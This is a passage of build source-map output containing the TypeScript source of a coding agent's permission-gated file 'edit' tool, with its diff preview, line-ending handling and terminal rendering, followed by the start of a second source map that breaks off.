\"@earendil-works/pi-tui\";\nimport type { AgentTool } from \"apex-code-agent-core\";\nimport { constants } from \"fs\";\nimport { access as fsAccess, readFile as fsReadFile } from \"fs/promises\";\nimport { type Static, Type } from \"typebox\";\nimport { renderDiff } from \"../../modes/interactive/components/diff.ts\";\nimport type { Theme } from \"../../modes/interactive/theme/theme.ts\";\nimport { splitBom } from \"../../utils/text.ts\";\nimport { getExperimentalToolSampling } from \"../experimental.ts\";\nimport { getPreparedPathOperation, type PreparedPathOperation } from \"../permissions/operations.ts\";\nimport type { PermissionPreview } from \"../permissions/responder.ts\";\nimport type { ApexToolDefinition, EvidenceRecord } from \"./contract.ts\";\nimport type { DiagnosticsOperations, DiagnosticsOutcome } from \"./diagnostics.ts\";\nimport { diagnosticEvidenceForPath, formatDiagnosticsOutcome } from \"./diagnostics.ts\";\nimport {\n\tapplyEditsToNormalizedContent,\n\tcomputeEditsDiff,\n\tcomputeEditsDiffFromContent,\n\tdetectLineEnding,\n\ttype Edit,\n\ttype EditDiffError,\n\ttype EditDiffResult,\n\tgenerateDiffString,\n\tgenerateUnifiedPatch,\n\tnormalizeToLF,\n\trestoreLineEndings,\n} from \"./edit-diff.ts\";\nimport { withFileMutationQueue } from \"./file-mutation-queue.ts\";\nimport { createPathPermissionSpec } from \"./path-permission.ts\";\nimport { readPreparedPath, resolveToCwd, writePathAtomically, writePreparedPath } from \"./path-utils.ts\";\nimport { renderToolPath, str } from \"./render-utils.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\n\ntype EditPreview = EditDiffResult | EditDiffError;\n\ntype EditRenderState = {\n\tcallComponent?: EditCallRenderComponent;\n};\n\nconst replaceEditSchema = Type.Object(\n\t{\n\t\toldText: Type.String({\n\t\t\tdescription:\n\t\t\t\t\"Exact text for one targeted replacement. It must be unique in the original file and must not overlap with any other edits[].oldText in the same call.\",\n\t\t}),\n\t\tnewText: Type.String({ description: \"Replacement text for this targeted edit.\" }),\n\t},\n\t{},\n);\n\nconst editSchema = Type.Object(\n\t{\n\t\tpath: Type.String({ description: \"Path to the file to edit (relative or absolute)\" }),\n\t\tedits: Type.Array(replaceEditSchema, {\n\t\t\tdescription:\n\t\t\t\t\"One or more targeted replacements. Each edit is matched against the original file, not incrementally. Do not include overlapping or nested edits. If two changes touch the same block or nearby lines, merge them into one edit instead.\",\n\t\t}),\n\t},\n\t{},\n);\n\nexport const editToolSystemPromptContribution = {\n\tsnippet: \"Make precise file edits with exact text replacement, including multiple disjoint edits in one call\",\n\tguidelines: [\n\t\t\"Use edit for precise changes (edits[].oldText must match exactly)\",\n\t\t\"When changing multiple separate locations in one file, use one edit call with multiple entries in edits[] instead of multiple edit calls\",\n\t\t\"Each edits[].oldText is matched against the original file, not after earlier edits are applied. Do not emit overlapping or nested edits. Merge nearby changes into one edit.\",\n\t\t\"Keep edits[].oldText as small as possible while still being unique in the file. Do not pad with large unchanged regions.\",\n\t],\n} as const;\n\nexport type EditToolInput = Static<typeof editSchema>;\ntype LegacyEditToolInput = EditToolInput & {\n\toldText?: unknown;\n\tnewText?: unknown;\n};\n\nfunction sha256(value: string): string {\n\treturn createHash(\"sha256\").update(value).digest(\"hex\");\n}\n\ntype SingleEditInput = { oldText: string; newText: string };\n\nfunction isSingleEditInput(value: unknown): value is SingleEditInput {\n\tif (!value || typeof value !== \"object\" || Array.isArray(value)) {\n\t\treturn false;\n\t}\n\n\tconst edit = value as Record<string, unknown>;\n\treturn typeof edit.oldText === \"string\" && typeof edit.newText === \"string\";\n}\n\nexport interface EditToolDetails {\n\t/** Display-oriented diff of the changes made */\n\tdiff: string;\n\t/** Standard unified patch of the changes made */\n\tpatch: string;\n\t/** Line number of the first change in the new file (for editor navigation) */\n\tfirstChangedLine?: number;\n\t/** Present only when `EditToolOptions.diagnosticsOperations` is configured (LSP.4). */\n\tdiagnostics?: DiagnosticsOutcome;\n}\n\n/**\n * Pluggable operations for the edit tool.\n * Override these to delegate file editing to remote systems (for example SSH).\n */\nexport interface EditOperations {\n\t/** Read file contents as a Buffer */\n\treadFile: (absolutePath: string) => Promise<Buffer>;\n\t/** Write content to a file */\n\twriteFile: (absolutePath: string, content: string) => Promise<void>;\n\t/** Check if file is readable and writable (throw if not) */\n\taccess: (absolutePath: string) => Promise<void>;\n\t/**\n\t * Execute a gate-prepared edit no-follow against the authorized target.\n\t * Required for gated calls: when a prepared operation exists, pathname reads\n\t * and writes are never used, so an unset implementation fails closed.\n\t */\n\treadPreparedFile?: (operation: PreparedPathOperation) => Buffer;\n\twritePreparedFile?: (operation: PreparedPathOperation, content: Buffer) => void;\n}\n\nconst defaultEditOperations: EditOperations = {\n\treadFile: (path) => fsReadFile(path),\n\twriteFile: async (path, content) => writePathAtomically(path, content),\n\taccess: (path) => fsAccess(path, constants.R_OK | constants.W_OK),\n\treadPreparedFile: (operation) => readPreparedPath(operation),\n\twritePreparedFile: (operation, content) => writePreparedPath(operation, content),\n};\n\nexport interface EditToolOptions {\n\t/** Custom operations for file editing. Default: local filesystem */\n\toperations?: EditOperations;\n\t/**\n\t * Optional post-mutation diagnostics (LSP.4). Absent by default -- byte-identical\n\t * existing behavior. When present, called inside `withFileMutationQueue` after the\n\t * write succeeds and before the queue releases, matching `TestOperations`/\n\t * `GrepOperations`' injection pattern (`test.ts:28`, `grep.ts:58`).\n\t */\n\tdiagnosticsOperations?: DiagnosticsOperations;\n}\n\n/** A preview is a courtesy, so it never costs more than a screen or two of reading. */\nconst PREVIEW_MAX_BYTES = 512 * 1024;\nconst PREVIEW_MAX_LINES = 40;\n\n/**\n * Describe the edit for the person deciding whether to allow it.\n *\n * Reads through the operation `prepareCall` stored rather than resolving the\n * pathname again, so a target swapped after authorization fails here exactly as\n * it fails the write. `readPreparedPath` throws in that case and the gate turns\n * the throw into a stated reason, which is the outcome a reader needs: better a\n * prompt that admits it cannot show the change than a diff of the wrong file.\n */\nfunction previewEdit(params: EditToolInput): PermissionPreview {\n\tconst prepared = getPreparedPathOperation(params);\n\tif (!prepared) return { kind: \"unavailable\", reason: \"No authorized target was prepared for this call\" };\n\tif (prepared.kind === \"path-new\") {\n\t\treturn { kind: \"summary\", lines: [`Create ${params.path}`] };\n\t}\n\n\tconst buffer = readPreparedPath(prepared, PREVIEW_MAX_BYTES + 1);\n\tif (buffer.byteLength > PREVIEW_MAX_BYTES) {\n\t\treturn { kind: \"unavailable\", reason: `File is larger than ${PREVIEW_MAX_BYTES / 1024}KB, so no diff is shown` };\n\t}\n\tif (buffer.includes(0)) {\n\t\treturn { kind: \"unavailable\", reason: \"File is binary, so there is no diff to show\" };\n\t}\n\n\tconst result = computeEditsDiffFromContent(params.path, buffer.toString(\"utf-8\"), params.edits as Edit[]);\n\tif (\"error\" in result) return { kind: \"unavailable\", reason: result.error };\n\n\tconst lines = result.diff.split(\"\\n\");\n\tconst shown = lines.slice(0, PREVIEW_MAX_LINES);\n\treturn { kind: \"diff\", path: params.path, lines: shown, omittedLines: lines.length - shown.length };\n}\n\nfunction prepareEditArguments(input: unknown): EditToolInput {\n\tif (!input || typeof input !== \"object\") {\n\t\treturn input as EditToolInput;\n\t}\n\n\tconst args = input as Record<string, unknown>;\n\n\t// Some models (Opus 4.6, GLM-5.1) send edits as a JSON string instead of an array.\n\t// Others send a single edit object instead of a one-element edits array.\n\tif (typeof args.edits === \"string\") {\n\t\ttry {\n\t\t\tconst parsed = JSON.parse(args.edits);\n\t\t\tif (Array.isArray(parsed)) {\n\t\t\t\targs.edits = parsed;\n\t\t\t} else if (isSingleEditInput(parsed)) {\n\t\t\t\targs.edits = [parsed];\n\t\t\t}\n\t\t} catch {}\n\t} else if (isSingleEditInput(args.edits)) {\n\t\targs.edits = [args.edits];\n\t}\n\n\tconst legacy = args as LegacyEditToolInput;\n\tif (typeof legacy.oldText !== \"string\" || typeof legacy.newText !== \"string\") {\n\t\treturn args as EditToolInput;\n\t}\n\n\tconst edits = Array.isArray(legacy.edits) ? [...legacy.edits] : [];\n\tedits.push({ oldText: legacy.oldText, newText: legacy.newText });\n\tconst { oldText: _oldText, newText: _newText, ...rest } = legacy;\n\treturn { ...rest, edits } as EditToolInput;\n}\n\nfunction validateEditInput(input: EditToolInput): { path: string; edits: Edit[] } {\n\tif (!Array.isArray(input.edits) || input.edits.length === 0) {\n\t\tthrow new Error(\"Edit tool input is invalid. edits must contain at least one replacement.\");\n\t}\n\treturn { path: input.path, edits: input.edits };\n}\n\ntype RenderableEditArgs = {\n\tpath?: string;\n\tfile_path?: string;\n\tedits?: Edit[];\n\toldText?: string;\n\tnewText?: string;\n};\n\ntype EditToolResultLike = {\n\tcontent: Array<{ type: string; text?: string; data?: string; mimeType?: string }>;\n\tdetails?: EditToolDetails;\n};\n\ntype EditCallRenderComponent = Box & {\n\tpreview?: EditPreview;\n\tpreviewArgsKey?: string;\n\tpreviewPending?: boolean;\n\tsettledError?: boolean;\n};\n\nfunction createEditCallRenderComponent(): EditCallRenderComponent {\n\treturn Object.assign(new Box(1, 1, (text: string) => text), {\n\t\tpreview: undefined as EditPreview | undefined,\n\t\tpreviewArgsKey: undefined as string | undefined,\n\t\tpreviewPending: false,\n\t\tsettledError: false,\n\t});\n}\n\nfunction getEditCallRenderComponent(state: EditRenderState, lastComponent: unknown): EditCallRenderComponent {\n\tif (lastComponent instanceof Box) {\n\t\tconst component = lastComponent as EditCallRenderComponent;\n\t\tstate.callComponent = component;\n\t\treturn component;\n\t}\n\tif (state.callComponent) {\n\t\treturn state.callComponent;\n\t}\n\tconst component = createEditCallRenderComponent();\n\tstate.callComponent = component;\n\treturn component;\n}\n\nfunction getRenderablePreviewInput(args: RenderableEditArgs | undefined): { path: string; edits: Edit[] } | null {\n\tif (!args) {\n\t\treturn null;\n\t}\n\n\tconst path = typeof args.path === \"string\" ? args.path : typeof args.file_path === \"string\" ? args.file_path : null;\n\tif (!path) {\n\t\treturn null;\n\t}\n\n\tif (\n\t\tArray.isArray(args.edits) &&\n\t\targs.edits.length > 0 &&\n\t\targs.edits.every((edit) => typeof edit?.oldText === \"string\" && typeof edit?.newText === \"string\")\n\t) {\n\t\treturn { path, edits: args.edits };\n\t}\n\n\tif (typeof args.oldText === \"string\" && typeof args.newText === \"string\") {\n\t\treturn { path, edits: [{ oldText: args.oldText, newText: args.newText }] };\n\t}\n\n\treturn null;\n}\n\n/**\n * Added and removed line counts read off a unified diff.\n *\n * `+++`/`---` file headers open with the same characters as content lines, so\n * they are skipped explicitly rather than by counting the first two lines,\n * which a diff without headers would not have.\n */\nfunction countChangedLines(diff: string): { added: number; removed: number } {\n\tlet added = 0;\n\tlet removed = 0;\n\tfor (const line of diff.split(\"\\n\")) {\n\t\tif (line.startsWith(\"+++\") || line.startsWith(\"---\")) continue;\n\t\tif (line.startsWith(\"+\")) added++;\n\t\telse if (line.startsWith(\"-\")) removed++;\n\t}\n\treturn { added, removed };\n}\n\n/** The one line a collapsed diff leaves behind, so the edit is still legible as an edit. */\nfunction formatChangeSummary(diff: string, theme: Theme): string {\n\tconst { added, removed } = countChangedLines(diff);\n\tconst parts: string[] = [];\n\tif (added > 0) parts.push(theme.fg(\"toolDiffAdded\", `+${added}`));\n\tif (removed > 0) parts.push(theme.fg(\"toolDiffRemoved\", `-${removed}`));\n\tif (parts.length === 0) return theme.fg(\"dim\", \"no line changes\");\n\treturn parts.join(theme.fg(\"dim\", \" \"));\n}\n\nfunction formatEditCall(args: RenderableEditArgs | undefined, theme: Theme, cwd: string): string {\n\tconst pathDisplay = renderToolPath(str(args?.file_path ?? args?.path), theme, cwd);\n\treturn `${theme.fg(\"toolTitle\", theme.bold(\"edit\"))} ${pathDisplay}`;\n}\n\nfunction formatEditResult(\n\targs: RenderableEditArgs | undefined,\n\tpreview: EditPreview | undefined,\n\tresult: EditToolResultLike,\n\ttheme: Theme,\n\tisError: boolean,\n\tdiffsExpanded: boolean,\n): string | undefined {\n\tconst rawPath = str(args?.file_path ?? args?.path);\n\tconst previewDiff = preview && !(\"error\" in preview) ? preview.diff : undefined;\n\tconst previewError = preview && \"error\" in preview ? preview.error : undefined;\n\tif (isError) {\n\t\tconst errorText = result.content\n\t\t\t.filter((c) => c.type === \"text\")\n\t\t\t.map((c) => c.text || \"\")\n\t\t\t.join(\"\\n\");\n\t\tif (!errorText || errorText === previewError) {\n\t\t\treturn undefined;\n\t\t}\n\t\treturn theme.fg(\"error\", errorText);\n\t}\n\n\tconst resultDiff = result.details?.diff;\n\tif (resultDiff && resultDiff !== previewDiff) {\n\t\treturn diffsExpanded\n\t\t\t? renderDiff(resultDiff, { filePath: rawPath ?? undefined })\n\t\t\t: formatChangeSummary(resultDiff, theme);\n\t}\n\n\treturn undefined;\n}\n\nfunction getEditHeaderBg(\n\tpreview: EditPreview | undefined,\n\tsettledError: boolean | undefined,\n\ttheme: Theme,\n): (text: string) => string {\n\tif (preview) {\n\t\tif (\"error\" in preview) {\n\t\t\treturn (text: string) => theme.bg(\"toolErrorBg\", text);\n\t\t}\n\t\treturn (text: string) => theme.bg(\"toolSuccessBg\", text);\n\t}\n\tif (settledError) {\n\t\treturn (text: string) => theme.bg(\"toolErrorBg\", text);\n\t}\n\treturn (text: string) => theme.bg(\"toolPendingBg\", text);\n}\n\nfunction buildEditCallComponent(\n\tcomponent: EditCallRenderComponent,\n\targs: RenderableEditArgs | undefined,\n\ttheme: Theme,\n\tcwd: string,\n\tdiffsExpanded: boolean,\n): EditCallRenderComponent {\n\tcomponent.setBgFn(getEditHeaderBg(component.preview, component.settledError, theme));\n\tcomponent.clear();\n\tcomponent.addChild(new Text(formatEditCall(args, theme, cwd), 0, 0));\n\n\tif (!component.preview) {\n\t\treturn component;\n\t}\n\n\t// An error always shows, whatever the detail level. A collapsed diff still\n\t// leaves its counts behind, so the row never becomes a bare filename.\n\tconst body =\n\t\t\"error\" in component.preview\n\t\t\t? theme.fg(\"error\", component.preview.error)\n\t\t\t: diffsExpanded\n\t\t\t\t? renderDiff(component.preview.diff)\n\t\t\t\t: formatChangeSummary(component.preview.diff, theme);\n\tcomponent.addChild(new Spacer(1));\n\tcomponent.addChild(new Text(body, 0, 0));\n\treturn component;\n}\n\nfunction setEditPreview(\n\tcomponent: EditCallRenderComponent,\n\tpreview: EditPreview,\n\targsKey: string | undefined,\n): boolean {\n\tconst current = component.preview;\n\tconst changed =\n\t\tcurrent === undefined ||\n\t\t(\"error\" in current && \"error\" in preview\n\t\t\t? current.error !== preview.error\n\t\t\t: \"error\" in current !== \"error\" in preview) ||\n\t\t(!(\"error\" in current) &&\n\t\t\t!(\"error\" in preview) &&\n\t\t\t(current.diff !== preview.diff || current.firstChangedLine !== preview.firstChangedLine));\n\tcomponent.preview = preview;\n\tcomponent.previewArgsKey = argsKey;\n\tcomponent.previewPending = false;\n\treturn changed;\n}\n\nexport function createEditToolDefinition(\n\tcwd: string,\n\toptions?: EditToolOptions,\n): ApexToolDefinition<typeof editSchema, EditToolDetails | undefined, EditRenderState> {\n\tconst ops = options?.operations ?? defaultEditOperations;\n\tconst diagnosticsOperations = options?.diagnosticsOperations;\n\treturn {\n\t\tname: \"edit\",\n\t\tlabel: \"edit\",\n\t\tdescription:\n\t\t\t\"Edit a single file using exact text replacement. Every edits[].oldText must match a unique, non-overlapping region of the original file. If two changes affect the same block or nearby lines, merge them into one edit instead of emitting overlapping edits. Do not include large unchanged regions just to connect distant changes.\",\n\t\tpromptSnippet: editToolSystemPromptContribution.snippet,\n\t\tpromptGuidelines: [...editToolSystemPromptContribution.guidelines],\n\t\tparameters: editSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"fs.read\", \"fs.write\"]),\n\t\t\tpermission: createPathPermissionSpec({\n\t\t\t\tcwd,\n\t\t\t\tdefaultBehavior: \"ask\",\n\t\t\t\tverb: \"Edit\",\n\t\t\t\tgetPath: (params) => params.path,\n\t\t\t\tpreviewCall: (params) => previewEdit(params as EditToolInput),\n\t\t\t}),\n\t\t\tcontext: { resultRecoverable: true, deferSchema: false },\n\t\t\tevidence: {\n\t\t\t\temits: new Set(diagnosticsOperations ? [\"diff\", \"diagnostic\"] : [\"diff\"]),\n\t\t\t\tcapture: (params, result) => {\n\t\t\t\t\tconst patch = result.details?.patch;\n\t\t\t\t\tconst records: EvidenceRecord[] = patch\n\t\t\t\t\t\t? [{ kind: \"diff\", path: params.path, patchHash: sha256(patch) }]\n\t\t\t\t\t\t: [{ kind: \"diff\", path: params.path }];\n\t\t\t\t\tconst diagnostics = result.details?.diagnostics;\n\t\t\t\t\tif (diagnostics) records.push(diagnosticEvidenceForPath(params.path, diagnostics));\n\t\t\t\t\treturn records;\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tconstrainedSampling: getExperimentalToolSampling(),\n\t\trenderShell: \"self\",\n\t\tprepareArguments: prepareEditArguments,\n\t\tasync execute(_toolCallId, input: EditToolInput, signal?: AbortSignal, _onUpdate?, _ctx?) {\n\t\t\tconst { path, edits } = validateEditInput(input);\n\t\t\tconst prepared = getPreparedPathOperation(input);\n\t\t\tconst absolutePath = prepared?.path.value ?? resolveToCwd(path, cwd);\n\t\t\tif (prepared && (!ops.readPreparedFile || !ops.writePreparedFile)) {\n\t\t\t\tthrow new Error(\"No safe prepared edit operation is available for this gated edit\");\n\t\t\t}\n\n\t\t\treturn withFileMutationQueue(absolutePath, async () => {\n\t\t\t\t// Do not reject from an abort event listener here: that would release the\n\t\t\t\t// mutation queue while an in-flight filesystem operation may still finish.\n\t\t\t\t// Checking signal.aborted after each await observes the same aborts while\n\t\t\t\t// keeping the queue locked until the current operation has settled.\n\t\t\t\tconst throwIfAborted = (): void => {\n\t\t\t\t\tif (signal?.aborted) throw new Error(\"Operation aborted\");\n\t\t\t\t};\n\n\t\t\t\tthrowIfAborted();\n\n\t\t\t\t// Check if file exists (skipped for a gated call: the prepared operation\n\t\t\t\t// already proves existence, and the no-follow read enforces the identity).\n\t\t\t\ttry {\n\t\t\t\t\tif (!prepared) await ops.access(absolutePath);\n\t\t\t\t} catch (error: unknown) {\n\t\t\t\t\tthrowIfAborted();\n\t\t\t\t\tconst errorMessage =\n\t\t\t\t\t\terror instanceof Error && \"code\" in error ? `Error code: ${error.code}` : String(error);\n\t\t\t\t\tthrow new Error(`Could not edit file: ${path}. ${errorMessage}.`);\n\t\t\t\t}\n\t\t\t\tthrowIfAborted();\n\n\t\t\t\t// Read the file.\n\t\t\t\tconst buffer = prepared ? ops.readPreparedFile!(prepared) : await ops.readFile(absolutePath);\n\t\t\t\tconst rawContent = buffer.toString(\"utf-8\");\n\t\t\t\tthrowIfAborted();\n\n\t\t\t\t// Strip BOM before matching. The model will not include an invisible BOM in oldText.\n\t\t\t\tconst { bom, text: content } = splitBom(rawContent);\n\t\t\t\tconst originalEnding = detectLineEnding(content);\n\t\t\t\tconst normalizedContent = normalizeToLF(content);\n\t\t\t\tconst { baseContent, newContent } = applyEditsToNormalizedContent(normalizedContent, edits, path);\n\t\t\t\tthrowIfAborted();\n\n\t\t\t\tconst finalContent = bom + restoreLineEndings(newContent, originalEnding);\n\t\t\t\tif (prepared) ops.writePreparedFile!(prepared, Buffer.from(finalContent, \"utf-8\"));\n\t\t\t\telse await ops.writeFile(absolutePath, finalContent);\n\t\t\t\tthrowIfAborted();\n\n\t\t\t\tconst diffResult = generateDiffString(baseContent, newContent);\n\t\t\t\tconst patch = generateUnifiedPatch(path, baseContent, newContent);\n\t\t\t\tconst successText = `Successfully replaced ${edits.length} block(s) in ${path}.`;\n\n\t\t\t\tif (diagnosticsOperations) {\n\t\t\t\t\tconst diagnostics = await diagnosticsOperations.afterMutation(absolutePath, signal);\n\t\t\t\t\treturn {\n\t\t\t\t\t\tcontent: [{ type: \"text\", text: `${successText}\\n\\n${formatDiagnosticsOutcome(diagnostics)}` }],\n\t\t\t\t\t\tdetails: { diff: diffResult.diff, patch, firstChangedLine: diffResult.firstChangedLine, diagnostics },\n\t\t\t\t\t};\n\t\t\t\t}\n\n\t\t\t\treturn {\n\t\t\t\t\tcontent: [{ type: \"text\", text: successText }],\n\t\t\t\t\tdetails: { diff: diffResult.diff, patch, firstChangedLine: diffResult.firstChangedLine },\n\t\t\t\t};\n\t\t\t});\n\t\t},\n\t\trenderCall(args, theme, context) {\n\t\t\tconst component = getEditCallRenderComponent(context.state, context.lastComponent);\n\t\t\tconst previewInput = getRenderablePreviewInput(args as RenderableEditArgs | undefined);\n\t\t\tconst argsKey = previewInput\n\t\t\t\t? JSON.stringify({ path: previewInput.path, edits: previewInput.edits })\n\t\t\t\t: undefined;\n\n\t\t\tif (component.previewArgsKey !== argsKey) {\n\t\t\t\tcomponent.preview = undefined;\n\t\t\t\tcomponent.previewArgsKey = argsKey;\n\t\t\t\tcomponent.previewPending = false;\n\t\t\t\tcomponent.settledError = false;\n\t\t\t}\n\n\t\t\tif (context.argsComplete && previewInput && !component.preview && !component.previewPending) {\n\t\t\t\tcomponent.previewPending = true;\n\t\t\t\tconst requestKey = argsKey;\n\t\t\t\tvoid computeEditsDiff(previewInput.path, previewInput.edits, context.cwd).then((preview) => {\n\t\t\t\t\tif (component.previewArgsKey === requestKey) {\n\t\t\t\t\t\tsetEditPreview(component, preview, requestKey);\n\t\t\t\t\t\tcontext.invalidate();\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\n\t\t\treturn buildEditCallComponent(component, args, theme, context.cwd, context.editDiffsExpanded);\n\t\t},\n\t\trenderResult(result, _options, theme, context) {\n\t\t\tconst callComponent = context.state.callComponent;\n\t\t\tconst previewInput = getRenderablePreviewInput(context.args as RenderableEditArgs | undefined);\n\t\t\tconst argsKey = previewInput\n\t\t\t\t? JSON.stringify({ path: previewInput.path, edits: previewInput.edits })\n\t\t\t\t: undefined;\n\t\t\tconst typedResult = result as EditToolResultLike;\n\t\t\tconst resultDiff = !context.isError ? typedResult.details?.diff : undefined;\n\t\t\tlet changed = false;\n\t\t\tif (callComponent) {\n\t\t\t\tif (typeof resultDiff === \"string\") {\n\t\t\t\t\tchanged =\n\t\t\t\t\t\tsetEditPreview(\n\t\t\t\t\t\t\tcallComponent,\n\t\t\t\t\t\t\t{ diff: resultDiff, firstChangedLine: typedResult.details?.firstChangedLine },\n\t\t\t\t\t\t\targsKey,\n\t\t\t\t\t\t) || changed;\n\t\t\t\t}\n\t\t\t\tif (callComponent.settledError !== context.isError) {\n\t\t\t\t\tcallComponent.settledError = context.isError;\n\t\t\t\t\tchanged = true;\n\t\t\t\t}\n\t\t\t\tif (changed) {\n\t\t\t\t\tbuildEditCallComponent(\n\t\t\t\t\t\tcallComponent,\n\t\t\t\t\t\tcontext.args as RenderableEditArgs | undefined,\n\t\t\t\t\t\ttheme,\n\t\t\t\t\t\tcontext.cwd,\n\t\t\t\t\t\tcontext.editDiffsExpanded,\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tconst output = formatEditResult(\n\t\t\t\tcontext.args,\n\t\t\t\tcallComponent?.preview,\n\t\t\t\ttypedResult,\n\t\t\t\ttheme,\n\t\t\t\tcontext.isError,\n\t\t\t\tcontext.editDiffsExpanded,\n\t\t\t);\n\t\t\tconst component = (context.lastComponent as Container | undefined) ?? new Container();\n\t\t\tcomponent.clear();\n\t\t\tif (!output) {\n\t\t\t\treturn component;\n\t\t\t}\n\t\t\tcomponent.addChild(new Spacer(1));\n\t\t\tcomponent.addChild(new Text(output, 1, 0));\n\t\t\treturn component;\n\t\t},\n\t};\n}\n\nexport function createEditTool(cwd: string, options?: EditToolOptions): AgentTool<typeof editSchema> {\n\treturn wrapToolDefinition(createEditToolDefinition(cwd, options));\n}\n"]}
|
|
1
|
+
{"version":3,"file":"edit.d.ts","sourceRoot":"","sources":["../../../src/core/tools/edit.ts"],"names":[],"mappings":"AACA,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,sBAAsB,CAAC;AAGtD,OAAO,EAAE,KAAK,MAAM,EAAE,IAAI,EAAE,MAAM,SAAS,CAAC;AAI5C,OAAO,EAA4B,KAAK,qBAAqB,EAAE,MAAM,8BAA8B,CAAC;AAEpG,OAAO,KAAK,EAAE,kBAAkB,EAAkB,MAAM,eAAe,CAAC;AACxE,OAAO,KAAK,EAAE,qBAAqB,EAAE,kBAAkB,EAAE,MAAM,kBAAkB,CAAC;AAelF,OAAO,EAAE,KAAK,eAAe,EAAiB,MAAM,qBAAqB,CAAC;AAc1E,QAAA,MAAM,UAAU;;;;;;EASf,CAAC;AAEF,eAAO,MAAM,gCAAgC;;;CAQnC,CAAC;AAEX,MAAM,MAAM,aAAa,GAAG,MAAM,CAAC,OAAO,UAAU,CAAC,CAAC;AAqBtD,MAAM,WAAW,eAAe;IAC/B,gDAAgD;IAChD,IAAI,EAAE,MAAM,CAAC;IACb,iDAAiD;IACjD,KAAK,EAAE,MAAM,CAAC;IACd,8EAA8E;IAC9E,gBAAgB,CAAC,EAAE,MAAM,CAAC;IAC1B,uFAAuF;IACvF,WAAW,CAAC,EAAE,kBAAkB,CAAC;CACjC;AAED;;;GAGG;AACH,MAAM,WAAW,cAAc;IAC9B,qCAAqC;IACrC,QAAQ,EAAE,CAAC,YAAY,EAAE,MAAM,KAAK,OAAO,CAAC,MAAM,CAAC,CAAC;IACpD,8BAA8B;IAC9B,SAAS,EAAE,CAAC,YAAY,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,KAAK,OAAO,CAAC,IAAI,CAAC,CAAC;IACpE,4DAA4D;IAC5D,MAAM,EAAE,CAAC,YAAY,EAAE,MAAM,KAAK,OAAO,CAAC,IAAI,CAAC,CAAC;IAChD;;;;OAIG;IACH,gBAAgB,CAAC,EAAE,CAAC,SAAS,EAAE,qBAAqB,KAAK,MAAM,CAAC;IAChE,iBAAiB,CAAC,EAAE,CAAC,SAAS,EAAE,qBAAqB,EAAE,OAAO,EAAE,MAAM,KAAK,IAAI,CAAC;CAChF;AAUD,MAAM,WAAW,eAAe;IAC/B,oEAAoE;IACpE,UAAU,CAAC,EAAE,cAAc,CAAC;IAC5B;;;;;OAKG;IACH,qBAAqB,CAAC,EAAE,qBAAqB,CAAC;CAC9C;AA8ED,wBAAgB,wBAAwB,CACvC,GAAG,EAAE,MAAM,EACX,OAAO,CAAC,EAAE,eAAe,GACvB,kBAAkB,CAAC,OAAO,UAAU,EAAE,eAAe,GAAG,SAAS,EAAE,eAAe,CAAC,CAyGrF;AAED,wBAAgB,cAAc,CAAC,GAAG,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,eAAe,GAAG,SAAS,CAAC,OAAO,UAAU,CAAC,CAEnG","sourcesContent":["import { createHash } from \"node:crypto\";\nimport type { AgentTool } from \"apex-code-agent-core\";\nimport { constants } from \"fs\";\nimport { access as fsAccess, readFile as fsReadFile } from \"fs/promises\";\nimport { type Static, Type } from \"typebox\";\nimport { splitBom } from \"../../utils/text.ts\";\nimport { getExperimentalToolSampling } from \"../experimental.ts\";\nimport type { ExtensionContext } from \"../extensions/types.ts\";\nimport { getPreparedPathOperation, type PreparedPathOperation } from \"../permissions/operations.ts\";\nimport type { PermissionPreview } from \"../permissions/responder.ts\";\nimport type { ApexToolDefinition, EvidenceRecord } from \"./contract.ts\";\nimport type { DiagnosticsOperations, DiagnosticsOutcome } from \"./diagnostics.ts\";\nimport { diagnosticEvidenceForPath, formatDiagnosticsOutcome } from \"./diagnostics.ts\";\nimport {\n\tapplyEditsToNormalizedContent,\n\tcomputeEditsDiffFromContent,\n\tdetectLineEnding,\n\ttype Edit,\n\tgenerateDiffString,\n\tgenerateUnifiedPatch,\n\tnormalizeToLF,\n\trestoreLineEndings,\n} from \"./edit-diff.ts\";\nimport { withFileMutationQueue } from \"./file-mutation-queue.ts\";\nimport { createPathPermissionSpec } from \"./path-permission.ts\";\nimport { readPreparedPath, resolveToCwd, writePathAtomically, writePreparedPath } from \"./path-utils.ts\";\nimport { type EditRenderState, editRenderers } from \"./renderers/edit.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\n\nconst replaceEditSchema = Type.Object(\n\t{\n\t\toldText: Type.String({\n\t\t\tdescription:\n\t\t\t\t\"Exact text for one targeted replacement. It must be unique in the original file and must not overlap with any other edits[].oldText in the same call.\",\n\t\t}),\n\t\tnewText: Type.String({ description: \"Replacement text for this targeted edit.\" }),\n\t},\n\t{},\n);\n\nconst editSchema = Type.Object(\n\t{\n\t\tpath: Type.String({ description: \"Path to the file to edit (relative or absolute)\" }),\n\t\tedits: Type.Array(replaceEditSchema, {\n\t\t\tdescription:\n\t\t\t\t\"One or more targeted replacements. Each edit is matched against the original file, not incrementally. Do not include overlapping or nested edits. If two changes touch the same block or nearby lines, merge them into one edit instead.\",\n\t\t}),\n\t},\n\t{},\n);\n\nexport const editToolSystemPromptContribution = {\n\tsnippet: \"Make precise file edits with exact text replacement, including multiple disjoint edits in one call\",\n\tguidelines: [\n\t\t\"Use edit for precise changes (edits[].oldText must match exactly)\",\n\t\t\"When changing multiple separate locations in one file, use one edit call with multiple entries in edits[] instead of multiple edit calls\",\n\t\t\"Each edits[].oldText is matched against the original file, not after earlier edits are applied. Do not emit overlapping or nested edits. Merge nearby changes into one edit.\",\n\t\t\"Keep edits[].oldText as small as possible while still being unique in the file. Do not pad with large unchanged regions.\",\n\t],\n} as const;\n\nexport type EditToolInput = Static<typeof editSchema>;\ntype LegacyEditToolInput = EditToolInput & {\n\toldText?: unknown;\n\tnewText?: unknown;\n};\n\nfunction sha256(value: string): string {\n\treturn createHash(\"sha256\").update(value).digest(\"hex\");\n}\n\ntype SingleEditInput = { oldText: string; newText: string };\n\nfunction isSingleEditInput(value: unknown): value is SingleEditInput {\n\tif (!value || typeof value !== \"object\" || Array.isArray(value)) 